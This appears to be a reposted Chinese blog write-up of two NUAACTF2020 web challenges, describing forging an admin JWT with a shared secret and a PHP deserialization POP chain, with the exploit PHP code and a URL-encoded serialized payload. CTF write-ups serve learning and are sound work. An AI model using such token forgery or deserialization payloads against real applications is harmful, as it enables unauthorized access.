NUAACTF2020 - Web2 & Web3
2021-02-13 04:17
标签：div style protected protect php 出错 工具 mic pop 这里就总结一下，自己没有做出来的原因：没队友交流、时间紧 Web2 比赛时抓包看cookie里面有jwt，就去google发现是jwt伪造，原题也看到了，只要能伪造好jwt，就能直接登录无需密码 卡题原因：不知道jwt的密钥，现学现卖不是强项 说实话，也没有想到要用到解密工具，因为既然不知道admin的密码，用自己注册的账号解出来的密钥不应该是自己独有的密钥吗（被没有注册时jwt为空给迷惑了） 所以说只要是注册的用户，加密密钥都是相同的‘NuAa‘ https://jwt.io/ 伪造用户名admin Web3 需要构造pop链，类似题目WP也看了，还真的现学现卖差一点就成功 卡题原因：没有url编码 自己构造的exp： 题目要看flag.php，必须构造lemon类的构造函数访问evil类 其实挺遗憾的，没想到最后还要在编译器里url编码才能传参，之前一直直接输进地址栏会 错误的序列化： 鉴于之前刷的题目，这道题没法直接传参的原因大概是序列化以后存在的特殊字符，复制之后就出错了 NUAACTF2020 - Web2 & Web3 标签：div style protected protect php 出错 工具 mic pop 原文地址：https://www.cnblogs.com/echoDetected/p/13024533.html
php
class lemon {
protected $ClassObj;
function __construct() {
$this->ClassObj = new evil();
}
}class evil {
private $data;
}
$a = new lemon();
echo serialize($a);
?>
O:5:%22lemon%22:1:{s:11:%22%20*%20ClassObj%22;O:4:%22evil%22:1:{s:10:%22%20evil%20data%22;N;}}
下一篇：制作网站的基本流程
文章标题：NUAACTF2020 - Web2 & Web3
文章链接：http://soscw.com/index.php/essay/54734.html